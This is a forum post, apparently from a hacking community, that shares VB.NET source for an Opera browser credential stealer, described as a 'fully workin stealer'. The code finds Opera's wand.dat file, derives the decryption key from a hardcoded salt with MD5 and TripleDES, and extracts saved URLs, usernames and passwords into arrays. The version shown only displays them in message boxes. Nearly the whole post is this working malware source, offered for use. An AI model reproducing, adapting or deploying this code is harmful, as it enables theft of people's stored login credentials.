Hey everyone,
I found this on the web, thought it'd be helpful to some of you guys
the tutorial says it has been shortened to only send "usernames, passwords & urls"
Ok fully workin stealer.
URL's are stored in sUrl, Passwords in sPass and Usernames in sUser !
Credits to Black-Blood. KingCobraXD
Enjoy.
I found this on the web, thought it'd be helpful to some of you guys
the tutorial says it has been shortened to only send "usernames, passwords & urls"
Code
Imports System.Collections.Generic
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO
Class Opera
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Public Function GetOpera()
If File.Exists(path & "\Opera\Opera\wand.dat") Then
path += "\Opera\Opera\wand.dat"
version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else
End If
End Function
Private Sub version2()
Try
Dim wand_file As Byte() = File.ReadAllBytes(path)
Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then
block_size = CInt(wand_file(i + 15))
Dim key As Byte() = New Byte(7) {}
Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
Array.Copy(wand_file, i + 4, key, 0, key.Length)
Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
i += 11 + block_size
End If
Next
Dim Lines() As String
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
sUrlTemp = Nothing
sUserTemp = Nothing
sPassTemp = Nothing
c = 0
Try
If Lines(j).Contains("http://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
ElseIf Lines(j).Contains("https://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUserTemp = Lines(j)
Catch ex As Exception
End Try
ElseIf j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
Catch ex As Exception
End Try
End If
End If
End If
Catch ex As Exception
End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
Next
Catch e As Exception
Console.WriteLine(e.Message)
End Try
For i = 0 To sUrl.Length
If sUrl(i) = "" Then
Exit For
End If
MsgBox(sUrl(i))
MsgBox(sUser(i))
MsgBox(sPass(i))
Next
End Sub
Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
Dim md5Crypt As New MD5CryptoServiceProvider()
md5Crypt.Initialize()
Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
Array.Copy(hash1, tmpBuffer, hash1.Length)
Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
Dim tripleDES As New TripleDESCryptoServiceProvider()
tripleDES.Mode = CipherMode.CBC
tripleDES.Padding = PaddingMode.None
Dim tripleKey As Byte() = New Byte(23) {}
Dim IV As Byte() = New Byte(7) {}
Array.Copy(hash1, tripleKey, hash1.Length)
Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
Array.Copy(hash2, 8, IV, 0, 8)
tripleDES.Key = tripleKey
tripleDES.IV = IV
Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
Dim enc As String = Encoding.Unicode.GetString(output)
Return enc
Catch e As Exception
Return ""
End Try
End Function
End ClassOk fully workin stealer.
URL's are stored in sUrl, Passwords in sPass and Usernames in sUser !
Credits to Black-Blood. KingCobraXD
Enjoy.
